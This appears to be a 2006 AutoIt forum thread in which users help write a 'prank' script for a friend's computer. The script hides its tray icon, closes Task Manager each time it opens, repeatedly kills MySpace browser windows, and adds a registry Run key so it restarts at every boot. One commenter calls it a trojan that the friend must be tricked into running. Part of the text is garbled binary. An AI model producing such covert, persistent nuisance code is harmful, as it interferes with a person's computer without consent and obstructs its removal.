Keep active?

[lolp1]

I'm trying to make a script to play a "joke" on my friend, who is addicted to myspace. So far I got:

#NoTrayIcon

Opt("WinWaitDelay", 10)
While 1
  If WinActive("Windows Task Manager") Then
     Send("{Esc}")
  EndIf

  ToolTip(WinGetTitle(""), 0, 0)
  sleep(50)
WinClose("MySpace - Mozilla Firefox", "")
WinClose("MySpace - Microsoft Internet Explorer", "")

I would like to make it though, so it keeps doing it, after it closes it once even. How can I do this? Basicly I want it to leep closing myspace untill he restarts his comp.

[cppman]

While 1
    sleep(10)
    if (WinExists(WinGetTitle("MySpace"))) Then WinClose(WinGetTitle("MySpace"))
WEnd

This should work

Works with any browser. but... it will close any other window that says MySpace on it too. but what are the chances eh? lol

Edited September 8, 2006 by CHRIS95219

[Confuzzled]

Like any other virus or trojan, you will have to fool your (soon to be ex) friend to run it.

[AceLoc]

Opt("TrayIconHide", 1)
RegWrite('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run','YourApp', 'REG_SZ', 'C:\WINDOWS\YourApp.exe')
While 1
    sleep(10)
    if (WinExists(WinGetTitle("MySpace"))) Then WinClose(WinGetTitle("MySpace"))
WEndoÝ÷ ÙÈZb«nØ^*.r¥vZv+n¦Ê&{^­æ¬{¦¦WªºpÃ
⧲rªºZÙ槢Ø^®Ç+eG­+ºÚ"µÍÜ
    ][ÝÕ^RXÛÛYI][ÝËJB[]Ù]
    ][ÝÚËÝÚWÙ]Þ[ÝWÝØYYÚ] ][ÝË  ][ÝÐÎÌLÕÒSÕÔÉÌLÛÝÛY^I][ÝÊB[  ][ÝÐÎÌLÕÒSÕÔÉÌLÛÝÛY^JoÝ÷ ÚØ^*.².×!jxjëh×6RegWrite('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run','YourApp', 'REG_SZ', 'C:\WINDOWS\YourApp.exe')

then he could never go on MySpace till he cleans his registery !